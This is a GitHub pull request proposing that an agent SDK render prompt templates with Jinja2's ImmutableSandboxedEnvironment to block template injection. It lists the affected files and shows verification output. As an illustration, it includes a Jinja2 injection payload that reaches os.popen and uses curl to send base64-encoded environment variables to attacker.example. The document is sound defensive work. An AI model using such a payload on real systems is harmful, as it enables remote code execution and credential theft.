Skip to content

Harden Jinja2 prompt rendering with ImmutableSandboxedEnvironment (CWE-1336 defense-in-depth) - #1011

Closed
ghost wants to merge 2 commits into
mainfrom
unknown repository
Closed

Harden Jinja2 prompt rendering with ImmutableSandboxedEnvironment (CWE-1336 defense-in-depth)#1011
ghost wants to merge 2 commits into
mainfrom
unknown repository

Conversation

@ghost

@ghost ghost commented May 23, 2026

Copy link
Copy Markdown

Summary

Switch all 8 Jinja2 Environment(undefined=StrictUndefined) instantiations across the 7 SDK agent modules to ImmutableSandboxedEnvironment(undefined=StrictUndefined). This is defense-in-depth against template-injection escalation (CWE-1336 / CWE-94) when agent-spec-supplied prompt templates contain untrusted Jinja2 syntax.

Background

Eidolon agents declare their prompts in the agent spec (SqlAgentSpec, SimpleAgentSpec, TotAgentSpec, etc. — all Pydantic BaseModels loaded from YAML via yaml.safe_load). The spec values are then fed into Jinja2 Environment(undefined=StrictUndefined) and rendered:

# sdk/eidolon_ai_sdk/agent/sql_agent/agent.py:75-80
environment = Environment(undefined=StrictUndefined)
self._error_prompt = environment.from_string(self.spec.error_prompt)
self._system_prompt = environment.from_string(self.spec.system_prompt)
self._user_prompt = environment.from_string(self.spec.user_prompt)
self._clarification_prompt = environment.from_string(self.spec.clarification_prompt)
self._response_prompt = environment.from_string(self.spec.response_prompt)

The same pattern recurs at 8 instantiation sites across 7 files in the SDK:

file line(s)
sdk/eidolon_ai_sdk/agent/simple_agent.py 141, 227
sdk/eidolon_ai_sdk/agent/tot_agent/thought_generators.py 39
sdk/eidolon_ai_sdk/agent/tot_agent/tot_agent.py 124
sdk/eidolon_ai_sdk/agent/tot_agent/checker.py 46
sdk/eidolon_ai_sdk/agent/retriever_agent/hyde_question_transformer.py 25
sdk/eidolon_ai_sdk/agent/retriever_agent/multi_question_transformer.py 34
sdk/eidolon_ai_sdk/agent/sql_agent/agent.py 75

All of them render self.spec.*_prompt (or equivalent) through from_string.

Why this matters for an "enterprise-ready deployment server"

Eidolon's README pitches the project as "an enterprise ready, deployment server for Agentic applications" — i.e., a runtime that may host agents declared by parties other than the server operator. In any multi-tenant or self-service-onboarded deployment, the agent spec is effectively user-supplied data, and a malicious spec field like:

spec:
  system_prompt: "{{ cycler.__init__.__globals__['os'].popen('curl attacker.example/$(env|base64)').read() }}"

…would, with the current vanilla Environment, achieve remote code execution in the Eidolon process when the agent runs — exfiltrating provider API keys, GitHub tokens, OS environment, etc.

ImmutableSandboxedEnvironment blocks the unsafe attribute access (__init__, __globals__, __class__, __mro__, …) and mutation operations that Jinja2 SSTI primitives rely on, while leaving the safe template feature subset (variable substitution, conditionals, loops, filters) intact. Eidolon's first-party agent specs use only that safe subset, so this is a non-breaking change for current users.

Verification

from jinja2 import StrictUndefined
from jinja2.sandbox import ImmutableSandboxedEnvironment

env = ImmutableSandboxedEnvironment(undefined=StrictUndefined)

# Safe templates render identically (matches Eidolon's spec.*_prompt usage)
env.from_string('Answer the question: {{ question }}').render(question='hello')
# → 'Answer the question: hello'

# Conditional + loop (used in tot_agent thought generators)
env.from_string('{% for t in thoughts %}{{ t }}; {% endfor %}').render(thoughts=['a','b'])
# → 'a; b; '

# Untrusted spec value walking dunder attrs
env.from_string("{{ cycler.__init__.__globals__['os'].popen('id').read() }}").render()
# → SecurityError: access to attribute '__init__' of 'type' object is unsafe.

Patch shape

Per file, two lines change:

 from jinja2 import Environment, StrictUndefined
+from jinja2.sandbox import ImmutableSandboxedEnvironment

 ...

-        env = Environment(undefined=StrictUndefined)
+        env = ImmutableSandboxedEnvironment(undefined=StrictUndefined)

ImmutableSandboxedEnvironment is a subclass of Environment, so downstream code that type-checks against Environment continues to work without further changes.

Related

  • Jinja2 sandbox docs: https://jinja.palletsprojects.com/en/stable/sandbox/
  • Sister landings of the same defense in adjacent AI-agent frameworks: PrefectHQ/marvin#1348, griptape-ai/griptape#2183, The-PR-Agent/pr-agent#2408
  • CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
  • CWE-94: Improper Control of Generation of Code ("Code Injection")

Jaeyoung Yun added 2 commits May 23, 2026 12:55
…ng (CWE-1336 defense-in-depth)

Switch all 8 Environment(undefined=StrictUndefined) instantiations across
the 7 SDK agent modules that render spec.*_prompt via from_string to
ImmutableSandboxedEnvironment. Defense-in-depth against template-injection
escalation when an agent spec contains untrusted Jinja2 syntax — relevant
to multi-tenant / self-service deployment shapes the project targets.

First-party agent specs use only the safe template subset (variable
substitution, conditionals, loops, filters), so this is a non-breaking
change. Sister AI-agent frameworks (marvin, griptape, pr-agent) recently
adopted the same defense for the same class of risk.
@ghost ghost closed this by deleting the head repository Jun 26, 2026
This pull request was closed.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants